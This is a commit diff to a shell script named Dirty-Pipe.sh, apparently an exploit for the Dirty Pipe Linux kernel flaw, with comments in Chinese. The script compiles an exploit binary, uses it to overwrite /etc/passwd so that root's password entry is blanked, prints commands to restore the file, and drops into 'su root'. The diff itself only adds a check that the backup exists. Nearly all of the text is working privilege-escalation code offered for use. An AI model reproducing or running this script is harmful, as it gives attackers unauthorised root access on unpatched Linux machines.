backup passwd file

Dirty-Pipe.sh

@@ -161,11 +161,19 @@ EOF
 gcc exp.c -o exp -std=c99
 
 # 备份密码文件
+rm -f /tmp/passwd
 cp /etc/passwd /tmp/passwd
-passwd_tmp=$(cat /etc/passwd|head)
-./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
+if [ -f "/tmp/passwd" ];then
+	echo "/etc/passwd已备份到/tmp/passwd"
+	passwd_tmp=$(cat /etc/passwd|head)
+	./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
 
-echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
+	echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
+
+	# 现在可以无需密码切换到root账号
+	su root
+else
+	echo "/etc/passwd未备份到/tmp/passwd"
+	exit 1
+fi
 
-# 现在可以无需密码切换到root账号
-su root